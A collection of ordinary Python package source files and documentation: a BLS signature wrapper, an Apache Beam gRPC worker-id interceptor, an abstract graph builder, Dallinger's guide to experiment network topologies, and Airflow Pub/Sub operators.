c_instance = c_void_p()
do_call(cls.new_handler, seed, len(seed) if seed is not None else 0, byref(c_instance))
res = cls(c_instance)
logger.debug("SignKey::new: <<< res: %r", res)
return res
class VerKey(BlsEntity):
"""
BLS verification key.
"""
new_handler = 'indy_crypto_bls_ver_key_new'
from_bytes_handler = 'indy_crypto_bls_ver_key_from_bytes'
as_bytes_handler = 'indy_crypto_bls_ver_key_as_bytes'
free_handler = 'indy_crypto_bls_ver_key_free'
@classmethod
def new(cls, gen: Generator, sign_key: SignKey) -> 'VerKey':
"""
Creates and returns BLS ver key that corresponds to the given generator and sign key.
:param: gen - Generator
:param: sign_key - Sign Key
:return: BLS verification key
"""
logger = logging.getLogger(__name__)
logger.debug("VerKey::new: >>>")
c_instance = c_void_p()
do_call(cls.new_handler, gen.c_instance, sign_key.c_instance, byref(c_instance))
res = cls(c_instance)
logger.debug("VerKey::new: <<< res: %r", res)
return res
class ProofOfPossession(BlsEntity):
"""
BLS proof of possession.
"""
new_handler = 'indy_crypto_bls_pop_new'
from_bytes_handler = 'indy_crypto_bls_pop_from_bytes'
as_bytes_handler = 'indy_crypto_bls_pop_as_bytes'
free_handler = 'indy_crypto_bls_pop_free'
@classmethod
def new(cls, ver_key: VerKey, sign_key: SignKey) -> 'ProofOfPossession':
"""
Creates and returns BLS proof of possession that corresponds to the given ver key and sign key.
:param: ver_key - Ver Key
:param: sign_key - Sign Key
:return: BLS proof of possession
"""
logger = logging.getLogger(__name__)
logger.debug("ProofOfPossession::new: >>>")
c_instance = c_void_p()
do_call(cls.new_handler, ver_key.c_instance, sign_key.c_instance, byref(c_instance))
res = cls(c_instance)
logger.debug("ProofOfPossession::new: <<< res: %r", res)
return res
class Signature(BlsEntity):
"""
BLS signature.
"""
new_handler = None
from_bytes_handler = 'indy_crypto_bls_signature_from_bytes'
as_bytes_handler = 'indy_crypto_bls_signature_as_bytes'
free_handler = 'indy_crypto_bls_signature_free'
class MultiSignature(BlsEntity):
"""
BLS multi signature.
"""
new_handler = 'indy_crypto_bls_multi_signature_new'
from_bytes_handler = 'indy_crypto_bls_multi_signature_from_bytes'
as_bytes_handler = 'indy_crypto_bls_multi_signature_as_bytes'
free_handler = 'indy_crypto_bls_multi_signature_free'
@classmethod
def new(cls, signatures: [Signature]) -> 'MultiSignature':
"""
Creates and returns BLS multi signature that corresponds to the given signatures list.
:param: signature - List of signatures
:return: BLS multi signature
"""
logger = logging.getLogger(__name__)
logger.debug("MultiSignature::new: >>>")
# noinspection PyCallingNonCallable,PyTypeChecker
signature_c_instances = (c_void_p * len(signatures))()
for i in range(len(signatures)):
signature_c_instances[i] = signatures[i].c_instance
c_instance = c_void_p()
do_call(cls.new_handler, signature_c_instances, len(signatures), byref(c_instance))
res = cls(c_instance)
logger.debug("MultiSignature::new: <<< res: %r", res)
return res
class Bls:
"""
Provides Bls methods.
"""
@staticmethod
def sign(message: bytes, sign_key: SignKey) -> Signature:
"""
Signs the message and returns signature.
:param: message - Message to sign
:param: sign_key - Sign key
:return: Signature
"""
logger = logging.getLogger(__name__)
logger.debug("Bls::sign: >>> message: %r, sign_key: %r", message, sign_key)
c_instance = c_void_p()
do_call('indy_crypto_bls_sign',
message, len(message),
sign_key.c_instance,
byref(c_instance))
res = Signature(c_instance)
logger.debug("Bls::sign: <<< res: %r", res)
return res
@staticmethod
def verify(signature: Signature, message: bytes, ver_key: VerKey, gen: Generator) -> bool:
"""
Verifies the message signature and returns true - if signature valid or false otherwise.
:param: signature - Signature to verify
:param: message - Message to verify
:param: ver_key - Verification key
:param: gen - Generator point
:return: true if signature valid
"""
logger = logging.getLogger(__name__)
logger.debug("Bls::verify: >>> signature: %r, message: %r, ver_key: %r, gen: %r", signature, message, ver_key,
gen)
valid = c_bool()
do_call('indy_crypto_bsl_verify',
signature.c_instance,
message, len(message),
ver_key.c_instance,
gen.c_instance,
byref(valid))
res = valid
logger.debug("Bls::verify: <<< res: %r", res)
return res
@staticmethod
def verify_pop(pop: ProofOfPossession, ver_key: VerKey, gen: Generator) -> bool:
"""
Verifies the proof of possession and returns true - if signature valid or false otherwise.
:param: pop - Proof of possession
:param: ver_key - Verification key
:param: gen - Generator point
:return: true if signature valid
"""
logger = logging.getLogger(__name__)
logger.debug("Bls::verify_pop: >>> pop: %r, ver_key: %r, gen: %r",
pop,
ver_key,
gen)
valid = c_bool()
do_call('indy_crypto_bsl_verify_pop',
pop.c_instance,
ver_key.c_instance,
gen.c_instance,
byref(valid))
res = valid
logger.debug("Bls::verify_pop: <<< res: %r", res)
return res
@staticmethod
def verify_multi_sig(multi_sig: MultiSignature, message: bytes, ver_keys: [VerKey], gen: Generator) -> bool:
"""
Verifies the message multi signature and returns true - if signature valid or false otherwise.
:param: multi_sig - Multi signature to verify
:param: message - Message to verify
:param: ver_keys - List of verification keys
:param: gen - Generator point
:return: true if multi signature valid.
"""
logger = logging.getLogger(__name__)
logger.debug("Bls::verify_multi_sig: >>> multi_sig: %r, message: %r, ver_keys: %r, gen: %r",
multi_sig, message, ver_keys, gen)
# noinspection PyCallingNonCallable,PyTypeChecker
ver_key_c_instances = (c_void_p * len(ver_keys))()
for i in range(len(ver_keys)):
ver_key_c_instances[i] = ver_keys[i].c_instance
valid = c_bool()
do_call('indy_crypto_bls_verify_multi_sig',
multi_sig.c_instance,
message, len(message),
ver_key_c_instances, len(ver_keys),
gen.c_instance,
byref(valid))
res = valid
logger.debug("Bls::verify_multi_sig: <<< res: %r", res)
return res
|
PypiClean
|
/hops-apache-beam-2.24.0.2.tar.gz/hops-apache-beam-2.24.0.2/apache_beam/runners/worker/worker_id_interceptor.py
|
"""Client Interceptor to inject worker_id"""
# pytype: skip-file
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import os
from typing import Optional
import grpc
class _ClientCallDetails(collections.namedtuple(
'_ClientCallDetails', ('method', 'timeout', 'metadata', 'credentials')),
grpc.ClientCallDetails):
pass
class WorkerIdInterceptor(grpc.UnaryUnaryClientInterceptor,
grpc.StreamStreamClientInterceptor):
# TODO: (BEAM-3904) Removed defaulting to UUID when worker_id is not present
# and throw exception in worker_id_interceptor.py after we have rolled out
# the corresponding container changes.
# Unique worker Id for this worker.
_worker_id = os.environ.get('WORKER_ID')
def __init__(self, worker_id=None):
# type: (Optional[str]) -> None
if worker_id:
self._worker_id = worker_id
def intercept_unary_unary(self, continuation, client_call_details, request):
return self._intercept(continuation, client_call_details, request)
def intercept_unary_stream(self, continuation, client_call_details, request):
return self._intercept(continuation, client_call_details, request)
def intercept_stream_unary(self, continuation, client_call_details, request):
return self._intercept(continuation, client_call_details, request)
def intercept_stream_stream(
self, continuation, client_call_details, request_iterator):
return self._intercept(continuation, client_call_details, request_iterator)
def _intercept(self, continuation, client_call_details, request):
metadata = []
if client_call_details.metadata is not None:
metadata = list(client_call_details.metadata)
if 'worker_id' in metadata:
raise RuntimeError('Header metadata already has a worker_id.')
metadata.append(('worker_id', self._worker_id))
new_client_details = _ClientCallDetails(
client_call_details.method,
client_call_details.timeout,
metadata,
client_call_details.credentials)
return continuation(new_client_details, request)
|
PypiClean
|
/pingsafe_cli-0.1.2.tar.gz/pingsafe_cli-0.1.2/src/pingsafe_cli/psgraph/common/runners/graph_builder/local_graph.py
|
from __future__ import annotations
import logging
from abc import abstractmethod
from pathlib import Path
from typing import Any
from pingsafe_cli.psgraph.common.graph.graph_builder import Edge
from pingsafe_cli.psgraph.common.graph.graph_builder.graph_components.blocks import Block
from pingsafe_cli.psgraph.common.graph.graph_builder.local_graph import LocalGraph
class ObjectLocalGraph(LocalGraph[Block]):
def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None:
super().__init__()
self.vertices: list[Block] = []
self.definitions = definitions
self.vertices_by_path_and_name: dict[tuple[str, str], int] = {}
def build_graph(self, render_variables: bool = False) -> None:
self._create_vertices()
logging.debug(f"[{self.__class__.__name__}] created {len(self.vertices)} vertices")
for i, vertex in enumerate(self.vertices):
self.vertices_by_block_type[vertex.block_type].append(i)
self.vertices_block_name_map[vertex.block_type][vertex.name].append(i)
self.vertices_by_path_and_name[(vertex.path, vertex.name)] = i
self.in_edges[i] = []
self.out_edges[i] = []
self._create_edges()
logging.debug(f"[{self.__class__.__name__}] created {len(self.edges)} edges")
@abstractmethod
def _create_vertices(self) -> None:
pass
@abstractmethod
def _create_edges(self) -> None:
pass
def _create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str = "default") -> None:
if origin_vertex_index == dest_vertex_index:
# this should not happen
return
edge = Edge(origin_vertex_index, dest_vertex_index, label)
self.edges.append(edge)
self.out_edges[origin_vertex_index].append(edge)
self.in_edges[dest_vertex_index].append(edge)
@staticmethod
@abstractmethod
def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]:
"""This is temporary till I have a better idea"""
pass
|
PypiClean
|
/dallinger-9.10.0.tar.gz/dallinger-9.10.0/docs/source/networks.rst
|
Networks
========
Depending on an experiment's objectives, there are different ways that
experiment participants can interact with each other and with the
experiment's stimuli. For some experiments, participants may receive the
same initial stimuli and process it individually. For other experiments,
they may sequentially interact with the stimuli. Some experiments may
require participants to interact among themselves in various ways.
In Dallinger, these interactions among participants and stimuli are
represented using networks. Each participant and each stimulus represent a
node in a network. The way these nodes are connected to each other is known
as a `network topology`. For brevity, we will use the term `network` from now
on when discussing Dallinger network topologies.
Dallinger comes with a variety of networks that can be used by experimenters,
and it's possible both to extend these networks or create completely new ones
as well. The networks included in Dallinger are:
- Empty
- Chain
- DelayedChain
- Star
- Burst
- FullyConnected
- DiscreteGenerational
- ScaleFree
- SequentialMicrosociety
- SplitSampleNetwork
Nodes and Sources
-----------------
In these networks, each participant is considered as a node. There is also a
special kind of node, known as a `source`, which transmits information to
other nodes. Sources are used in Dallinger as a means to send the stimuli to
the participants. Not all experiments have sources, though. A chatroom
experiment, for example, could just rely on user interactions and not
require any other stimuli.
All nodes have methods named ``transmit`` and ``receive``, for sending and
receiving information to or from other nodes. These methods can be used when
adding a node to allow any specialized communication between nodes that an
experiment may require.
Nodes can have a ``fitness`` property, which is a number that can be used in
some network models. The basic networks do not use this property.
Some networks require that nodes have other properties, so for properly using
those networks, an experiment would need to add these properties to its
nodes.
Node connections
----------------
A node can be connected to another node in three ways:
1. "to" - a single direction connection to another node
2. "from" - a single direction connection from another node
3. "both" - a bidirectional connection to another node
A node can transmit information when connected `to` another node. It can
receive information when connected `from` another node. If it is connected to
another node in `both` directions, it can both receive and transmit.
Nodes have a ``connect`` method that is used to connect them to other nodes.
This method can specify the direction of a connection:
::
my_node.connect(some_node, direction='both')
my_node.connect(another_node, direction='from')
The default direction is "to". The following example will make a `to`
connection:
::
my_node.connect(another_node)
Note that sources can only transmit information, so the only connection type
allowed for a source node is `to` another node:
::
my_source.connect(receiver_node)
Using a network
---------------
To use a specific network, an experiment needs to define a ``create_network``
method in its code. For example, to use a ``Chain`` network:
::
from dallinger.experiment import Experiment
from dallinger.networks import Chain
class MyExperiment(Experiment):
def create_network(self):
return Chain(max_size=5)
Like the example shows, to use a network it's necessary to import it from
``dallinger.networks`` using the network class name (the name from the list
given above). Once imported, it needs to be initialized as part of the
experiment, which is done using the ``create_network`` method.
All networks accept the ``max_size`` parameter, which is illustrated above. It
represents the maximum number of nodes that a network can have. In the
example above, maximum size is 5 nodes. The ``full`` method of the network can
be used to check if a network is full.
Multiple networks
^^^^^^^^^^^^^^^^^
In experiments configured for a number of ``practice_repeats`` or
``experiment_repeats`` higher than one, the ``create_network`` method is called
multiple times, once for every repeat. This means that an experiment can have
multiple networks at the same time.
The experiment setup code assigns each network a role of `practice` or
`experiment`, depending on how it was created. The experiment class allows
experiment developers to query networks by role (practice, experiment), or by
state (full, not full). For example:
::
all_networks = exp.networks()
full_networks = exp.networks(full=True)
not_full_networks = exp.networks(full=False)
practice_networks = exp.networks(role='practice')
full_experiment_networks = exp.networks(role='experiment', full=True)
Generally, the networks created at experiment setup will all be of the same
type, but there's nothing to stop an imaginative experimenter from creating a
different network type based on some condition, thus having multiple networks
of different types.
Common networks in Dallinger
----------------------------
Many experiments will be able to just use one of Dallinger's existing
networks, rather than defining their own. Lets look at the basic networks
that can be used out of the box.
Empty
^^^^^
There are experiments where participants do not need to interact with each
other at all. Generally, in this case, a source will be required. The Empty
network does not connect any nodes with each other, which results in a
series of isolated nodes. The only exception is, if a source node is added,
it will be connected to all existing nodes, which means that it's possible to
send a stimulus to all network nodes, regardless of their isolation.
.. figure:: _static/empty.jpg
:scale: 50 %
:alt: Empty Network
Empty Network
Chain
^^^^^
A Chain network, also known as `line` network, connects each new node to the
previous one, so that nodes can receive information from their parent, but
cannot send information back. In other words, it's a one way transmission
chain. In general, it's useful to have a source as the first node, so that
an initial experiment stimulus is transmitted to the each node through the
chain. Note that this network explicitly prohibits a source to be added after
any node, so the source has to come first.
This network can be useful for experiments where some piece of information,
for example, a text, needs to be modified or interpreted by each participant
in succession.
.. figure:: _static/chain.png
:scale: 50 %
:alt: Chain Network
Chain Network
DelayedChain
^^^^^^^^^^^^
DelayedChain is a special Chain network designed to work within the limits of
MTurk configuration, which sometimes requires at least 10 participants from
the start. In this case, for a Chain network, it would be impractical to make
participants sign on from the beginning and then wait for their turn in the
Chain for a long time. To avoid this, DelayedChain basically ignores the
first 9 participants, and then starts the Chain from the 10th participant on.
This is intended to be used with a source, in order to form a long running
chain where participants are recruited as soon as the previous participant
has finished. If there's no source, the first eleven nodes have no parent.
.. figure:: _static/delayed.png
:scale: 50 %
:alt: DelayedChain Network
DelayedChain Network
Star
^^^^
A Star network uses its first node as a central node, and nodes created
after that have a bidirectional connection (`both`) with that node. This
means the central node can send and receive information from/to all nodes,
but every other node in the network can only communicate with the central
node.
A source can't be used as a first node, since the connections to it need to
be in both directions.
This network can be useful for experiments where one user has a supervisory
role over others who are working individually, for example making a decision
based on advice from the other players
.. figure:: _static/star.png
:scale: 50 %
:alt: Star Network
Star Network
Burst
^^^^^
A Burst network is very similar to a Star network, except the central node is
connected to the other nodes using a `to` connection. In this case, a source
can be used as a central node.
This type of network can be used for experiments where participants do not
need to interact, but require the same stimuli or directions as the others.
.. figure:: _static/burst.png
:scale: 50 %
:alt: Burst Network
Burst Network
FullyConnected
^^^^^^^^^^^^^^
A FullyConnected network is one where all the nodes are connected to each
other in both directions, thus allowing any node to transmit and receive from
any other node. This can be very useful for cooperation experiments or
chatrooms.
A source is allowed as a node in this network. However, it will use a `to`
connection to the other nodes, so transmitting to it will not be allowed.
.. figure:: _static/full.png
:scale: 50 %
:alt: FullyConnected Network
FullyConnected Network
Other available networks
------------------------
There are other, somewhat more specialized networks that an experiment can
use. Here's a quick rundown.
DiscreteGenerational
^^^^^^^^^^^^^^^^^^^^
In this network, nodes are arranged into "generations". This network accepts
some new parameters: ``generations`` (number of generations), ``generation_size``
(how many nodes in a generation) and ``initial_source``. If there is an initial
source, it will be used as the parent for all first generation nodes. After
the first generation, the parent from each new node will be selected from the
previous generation, using the ``fitness`` attribute of the nodes to select it.
The higher the fitness, the higher the probability that a node will be a
parent.
Note that for this network to function correctly, the experiment nodes need
to have a ``generation`` property defined.
ScaleFree
^^^^^^^^^
This network takes two parameters: ``m0`` and ``m``. The first (m0) is the
number of initial nodes. These initial nodes will be connected in a fully
connected network among each other. The second parameter (m) is the number of
connections that every subsequent node will have. The nodes for this limited
number of connections will be chosen randomly, but nodes with more
connections will have a higher probability of being selected.
SequentialMicrosociety
^^^^^^^^^^^^^^^^^^^^^^
A network in which each new node will be connected using a `to` connection to
a limited set of its most recent predecessors. The number of recent
predecessors is passed in as an argument (n) at network creation.
SplitSampleNetwork
^^^^^^^^^^^^^^^^^^
This network helps when implementing split sample experiment designs. It
assigns a random boolean value to a property named ``exploratory``. When this
property is True, it means that the current network is part of the
exploratory data subset.
Creating a network
------------------
In addition to the available networks, it's fairly simple to create a custom
network, in case an experiment design calls for different node
interconnections. To create one, we can subclass from the Network model:
::
from dallinger.models import Network
from dallinger.nodes import Source
class Ring(Network):
__mapper_args__ = {"polymorphic_identity": "ring"}
def add_node(self, node):
other_nodes = [n for n in self.nodes() if n.id != node.id]
if isinstance(node, Source):
raise Exception(
"Ring network cannot contain sources."
)
if other_nodes:
parent = max(other_nodes, key=attrgetter('creation_time'))
parent.connect(whom=node)
if len(self.nodes) == self.max_size:
parent = min(other_nodes, key=attrgetter('creation_time'))
node.connect(whom=parent)
In the above example, we create a simple ring network, where each node is
connected in chain to the next one, until we get to the last one, which is
connected back to the first, making a full circle (thus, the 'ring' name).
Our ``Ring`` network is a subclass of ``dallinger.models.Network``, which contains the basic
network model and implementation. The ``__mapper_args__`` assignment at the
top is for differentiating this network from others, so that data exports
don't give incorrect results. Usually the safe thing is to use the same name
as the subclass, to avoid confusion.
Most simple networks will only need to override the ``add_node`` method. This
method is called after a node is added, with the added node as a parameter.
This method then can decide how and when to connect this node to other nodes
in the network.
In our code, we first get all nodes in the network (except the new one). If
the new node is a source, we raise an exception, because due to the circular
nature of our network, there can be no sources (they don't accept `from`
connections and can only transmit).
After that, we take the most recent node and connect it to the new node. At
this point, this is almost the same as a chain network, but when we get to
the last node, we connect the new node to the first node, in addition to its
connection to the previous node.
The code in the ``add_node`` method can be as complex as needed, so very
complex networks are possible. In most cases, to create a more advanced
network it will be necessary to add custom properties to it. This is done by
overriding the ``__init__`` method of the network to add the properties. The
following example shows how to do that:
::
def __init__(self, new_property1, new_property2):
self.property1 = repr(new_property1)
self.property2 = repr(new_property2)
The properties are added as parameters to the network on creation. A custom
property need not be persistent, but in general it's better to save it as
part of the network using the persistent custom properties available in all
Dallinger models. If they are not stored, any calculations that rely on them
have to be performed at initialization time. Once they are stored, they can
be used in any part of the network code, like in the ``add_node`` method.
In the code above, we use ``repr`` when storing the property value. This is
because Dallinger custom properties are all of the text type, so even if a
custom property represents a number, it has to be stored as a string. If the
property is a string to begin with, it's not necessary to convert it.
|
PypiClean
|
/edu-airflow-1.10.5.tar.gz/edu-airflow-1.10.5/airflow/contrib/operators/pubsub_operator.py
|
from airflow.contrib.hooks.gcp_pubsub_hook import PubSubHook
from airflow.models import BaseOperator
from airflow.utils.decorators import apply_defaults
class PubSubTopicCreateOperator(BaseOperator):
"""Create a PubSub topic.
By default, if the topic already exists, this operator will
not cause the DAG to fail. ::
with DAG('successful DAG') as dag:
(
dag
>> PubSubTopicCreateOperator(project='my-project',
topic='my_new_topic')
>> PubSubTopicCreateOperator(project='my-project',
topic='my_new_topic')
)
The operator can be configured to fail if the topic already exists. ::
with DAG('failing DAG') as dag:
(
dag
>> PubSubTopicCreateOperator(project='my-project',
topic='my_new_topic')
>> PubSubTopicCreateOperator(project='my-project',
topic='my_new_topic',
fail_if_exists=True)
)
Both ``project`` and ``topic`` are templated so you can use
variables in them.
"""
template_fields = ['project', 'topic']
ui_color = '#0273d4'
@apply_defaults
def __init__(
self,
project,
topic,
fail_if_exists=False,
gcp_conn_id='google_cloud_default',
delegate_to=None,
*args,
**kwargs):
"""
:param project: the GCP project ID where the topic will be created
:type project: str
:param topic: the topic to create. Do not include the
full topic path. In other words, instead of
``projects/{project}/topics/{topic}``, provide only
``{topic}``. (templated)
:type topic: str
:param gcp_conn_id: The connection ID to use connecting to
Google Cloud Platform.
:type gcp_conn_id: str
:param delegate_to: The account to impersonate, if any.
For this to work, the service account making the request
must have domain-wide delegation enabled.
:type delegate_to: str
"""
super(PubSubTopicCreateOperator, self).__init__(*args, **kwargs)
self.project = project
self.topic = topic
self.fail_if_exists = fail_if_exists
self.gcp_conn_id = gcp_conn_id
self.delegate_to = delegate_to
def execute(self, context):
hook = PubSubHook(gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to)
hook.create_topic(self.project, self.topic,
fail_if_exists=self.fail_if_exists)
class PubSubSubscriptionCreateOperator(BaseOperator):
"""Create a PubSub subscription.
By default, the subscription will be created in ``topic_project``. If
``subscription_project`` is specified and the GCP credentials allow, the
Subscription can be created in a different project from its topic.
By default, if the subscription already exists, this operator will
not cause the DAG to fail. However, the topic must exist in the project. ::
with DAG('successful DAG') as dag:
(
dag
>> PubSubSubscriptionCreateOperator(
topic_project='my-project', topic='my-topic',
subscription='my-subscription')
>> PubSubSubscriptionCreateOperator(
topic_project='my-project', topic='my-topic',
subscription='my-subscription')
)
The operator can be configured to fail if the subscription already exists.
::
with DAG('failing DAG') as dag:
(
dag
>> PubSubSubscriptionCreateOperator(
topic_project='my-project', topic='my-topic',
subscription='my-subscription')
>> PubSubSubscriptionCreateOperator(
topic_project='my-project', topic='my-topic',
subscription='my-subscription', fail_if_exists=True)
)
Finally, subscription is not required. If not passed, the operator will
generated a universally unique identifier for the subscription's name. ::
with DAG('DAG') as dag:
(
dag >> PubSubSubscriptionCreateOperator(
topic_project='my-project', topic='my-topic')
)
``topic_project``, ``topic``, ``subscription``, and
``subscription`` are templated so you can use variables in them.
"""
template_fields = ['topic_project', 'topic', 'subscription',
'subscription_project']
ui_color = '#0273d4'
@apply_defaults
def __init__(
self,
topic_project,
topic,
subscription=None,
subscription_project=None,
ack_deadline_secs=10,
fail_if_exists=False,
gcp_conn_id='google_cloud_default',
delegate_to=None,
*args,
**kwargs):
"""
:param topic_project: the GCP project ID where the topic exists
:type topic_project: str
:param topic: the topic to create. Do not include the
full topic path. In other words, instead of
``projects/{project}/topics/{topic}``, provide only
``{topic}``. (templated)
:type topic: str
:param subscription: the Pub/Sub subscription name. If empty, a random
name will be generated using the uuid module
:type subscription: str
:param subscription_project: the GCP project ID where the subscription
will be created. If empty, ``topic_project`` will be used.
:type subscription_project: str
:param ack_deadline_secs: Number of seconds that a subscriber has to
acknowledge each message pulled from the subscription
:type ack_deadline_secs: int
:param gcp_conn_id: The connection ID to use connecting to
Google Cloud Platform.
:type gcp_conn_id: str
:param delegate_to: The account to impersonate, if any.
For this to work, the service account making the request
must have domain-wide delegation enabled.
:type delegate_to: str
"""
super(PubSubSubscriptionCreateOperator, self).__init__(*args, **kwargs)
self.topic_project = topic_project
self.topic = topic
self.subscription = subscription
self.subscription_project = subscription_project
self.ack_deadline_secs = ack_deadline_secs
self.fail_if_exists = fail_if_exists
self.gcp_conn_id = gcp_conn_id
self.delegate_to = delegate_to
def execute(self, context):
hook = PubSubHook(gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to)
return hook.create_subscription(
self.topic_project, self.topic, self.subscription,
self.subscription_project, self.ack_deadline_secs,
self.fail_if_exists)
class PubSubTopicDeleteOperator(BaseOperator):
"""Delete a PubSub topic.
By default, if the topic does not exist, this operator will
not cause the DAG to fail. ::
with DAG('successful DAG') as dag:
(
dag
>> PubSubTopicDeleteOperator(project='my-project',
topic='non_existing_topic')
)
The operator can be configured to fail if the topic does not exist. ::
with DAG('failing DAG') as dag:
(
dag
>> PubSubTopicCreateOperator(project='my-project',
topic='non_existing_topic',
fail_if_not_exists=True)
)
Both ``project`` and ``topic`` are templated so you can use
variables in them.
"""
template_fields = ['project', 'topic']
ui_color = '#cb4335'
@apply_defaults
def __init__(
self,
project,
topic,
fail_if_not_exists=False,
gcp_conn_id='google_cloud_default',
delegate_to=None,
*args,
**kwargs):
"""
:param project: the GCP project ID in which to work (templated)
:type project: str
:param topic: the topic to delete. Do not include the
full topic path. In other words, instead of
``projects/{project}/topics/{topic}``, provide only
``{topic}``. (templated)
:type topic: str
:param fail_if_not_exists: If True and the topic does not exist, fail
the task
:type fail_if_not_exists: bool
:param gcp_conn_id: The connection ID to use connecting to
Google Cloud Platform.
:type gcp_conn_id: str
:param delegate_to: The account to impersonate, if any.
For this to work, the service account making the request
must have domain-wide delegation enabled.
:type delegate_to: str
"""
super(PubSubTopicDeleteOperator, self).__init__(*args, **kwargs)
self.project = project
self.topic = topic
self.fail_if_not_exists = fail_if_not_exists
self.gcp_conn_id = gcp_conn_id
self.delegate_to = delegate_to
def execute(self, context):
hook = PubSubHook(gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to)
hook.delete_topic(self.project, self.topic,
fail_if_not_exists=self.fail_if_not_exists)
class PubSubSubscriptionDeleteOperator(BaseOperator):
"""Delete a PubSub subscription.
By default, if the subscription does not exist, this operator will
not cause the DAG to fail. ::
with DAG('successful DAG') as dag:
(
dag
>> PubSubSubscriptionDeleteOperator(project='my-project',
subscription='non-existing')
)
The operator can be configured to fail if the subscription already exists.
::
with DAG('failing DAG') as dag:
(
dag
>> PubSubSubscriptionDeleteOperator(
project='my-project', subscription='non-existing',
fail_if_not_exists=True)
)
``project``, and ``subscription`` are templated so you can use
variables in them.
"""
template_fields = ['project', 'subscription']
ui_color = '#cb4335'
@apply_defaults
def __init__(
self,
project,
subscription,
fail_if_not_exists=False,
gcp_conn_id='google_cloud_default',
delegate_to=None,
*args,
**kwargs):
"""
:param project: the GCP project ID in which to work (templated)
:type project: str
:param subscription: the subscription to delete. Do not include the
full subscription path. In other words, instead of
``projects/{project}/subscription/{subscription}``, provide only
``{subscription}``. (templated)
:type subscription: str
:param fail_if_not_exists: If True and the subscription does not exist,
fail the task
:type fail_if_not_exists: bool
:param gcp_conn_id: The connection ID to use connecting to
Google Cloud Platform.
:type gcp_conn_id: str
:param delegate_to: The account to impersonate, if any.
For this to work, the service account making the request
must have domain-wide delegation enabled.
:type delegate_to: str
"""
super(PubSubSubscriptionDeleteOperator, self).__init__(*args, **kwargs)
self.project = project
self.subscription = subscription
self.fail_if_not_exists = fail_if_not_exists
self.gcp_conn_id = gcp_conn_id
self.delegate_to = delegate_to
def execute(self, context):
hook = PubSubHook(gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to)
hook.delete_subscription(self.project, self.subscription,
fail_if_not_exists=self.fail_if_not_exists)
class PubSubPublishOperator(BaseOperator):
"""Publish messages to a PubSub topic.
Each Task publishes all provided messages to the same topic
in a single GCP project. If the topic does not exist, this
task will fail. ::
from base64 import b64encode as b64e
m1 = {'data': b64e('Hello, World!'),
'attributes': {'type': 'greeting'}
}
m2 = {'data': b64e('Knock, knock')}
m3 = {'attributes': {'foo': ''}}
t1 = PubSubPublishOperator(
project='my-project',topic='my_topic',
messages=[m1, m2, m3],
create_topic=True,
dag=dag)
``project`` , ``topic``, and ``messages`` are templated so you can use
variables in them.
"""
template_fields = ['project', 'topic', 'messages']
ui_color = '#0273d4'
@apply_defaults
def __init__(
self,
project,
topic,
messages,
gcp_conn_id='google_cloud_default',
delegate_to=None,
*args,
**kwargs):
"""
:param project: the GCP project ID in which to work (templated)
:type project: str
:param topic: the topic to which to publish. Do not include the
full topic path. In other words, instead of
``projects/{project}/topics/{topic}``, provide only
``{topic}``. (templated)
:type topic: str
:param messages: a list of messages to be published to the
topic. Each message is a dict with one or more of the
following keys-value mappings:
* 'data': a base64-encoded string
* 'attributes': {'key1': 'value1', ...}
Each message must contain at least a non-empty 'data' value
or an attribute dict with at least one key (templated). See
https://cloud.google.com/pubsub/docs/reference/rest/v1/PubsubMessage
:type messages: list
:param gcp_conn_id: The connection ID to use connecting to
Google Cloud Platform.
:type gcp_conn_id: str
:param delegate_to: The account to impersonate, if any.
For this to work, the service account making the request
must have domain-wide delegation enabled.
:type delegate_to: str
"""
super(PubSubPublishOperator, self).__init__(*args, **kwargs)
self.gcp_conn_id = gcp_conn_id
self.delegate_to = delegate_to
self.project = project
self.topic = topic
self.messages = messages
def execute(self, context):
hook = PubSubHook(gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to)
hook.publish(self.project, self.topic, self.messages)
|
PypiClean
|
/context_python-0.3.1.tar.gz/context_python-0.3.1/getcontext/generated/models/_models.py
|
import datetime
import sys
from typing import Any, List, Optional, TYPE_CHECKING, Union
from .. import _serialization
if sys.version_info >= (3, 9):
from collections.abc import MutableMapping
else:
from typing import MutableMapping # type: ignore # pylint: disable=ungrouped-imports
if TYPE_CHECKING:
# pylint: disable=unused-import,ungrouped-imports
from .. import models as _models
JSON = MutableMapping[str, Any] # pylint: disable=unsubscriptable-object
class Conversation(_serialization.Model):
"""Conversation.
:ivar messages:
:vartype messages: list[~context_api.models.Message]
:ivar metadata: Any object.
:vartype metadata: JSON
"""
_attribute_map = {
"messages": {"key": "messages", "type": "[Message]"},
"metadata": {"key": "metadata", "type": "object"},
}
def __init__(
self, *, messages: Optional[List["_models.Message"]] = None, metadata: Optional[JSON] = None, **kwargs: Any
) -> None:
"""
:keyword messages:
:paramtype messages: list[~context_api.models.Message]
:keyword metadata: Any object.
:paramtype metadata: JSON
"""
super().__init__(**kwargs)
self.messages = messages
self.metadata = metadata
class Message(_serialization.Model):
"""Message.
All required parameters must be populated in order to send to Azure.
:ivar role: Required. Known values are: "system", "assistant", and "user".
:vartype role: str or ~context_api.models.MessageRole
:ivar message: Required.
:vartype message: str
:ivar event_timestamp:
:vartype event_timestamp: ~datetime.datetime
:ivar rating: Known values are: -1, 0, and 1.
:vartype rating: int or ~context_api.models.Rating
"""
_validation = {
"role": {"required": True},
"message": {"required": True},
}
_attribute_map = {
"role": {"key": "role", "type": "str"},
"message": {"key": "message", "type": "str"},
"event_timestamp": {"key": "event_timestamp", "type": "iso-8601"},
"rating": {"key": "rating", "type": "int"},
}
def __init__(
self,
*,
role: Union[str, "_models.MessageRole"],
message: str,
event_timestamp: Optional[datetime.datetime] = None,
rating: Optional[Union[int, "_models.Rating"]] = None,
**kwargs: Any
) -> None:
"""
:keyword role: Required. Known values are: "system", "assistant", and "user".
:paramtype role: str or ~context_api.models.MessageRole
:keyword message: Required.
:paramtype message: str
:keyword event_timestamp:
:paramtype event_timestamp: ~datetime.datetime
:keyword rating: Known values are: -1, 0, and 1.
:paramtype rating: int or ~context_api.models.Rating
"""
super().__init__(**kwargs)
self.role = role
self.message = message
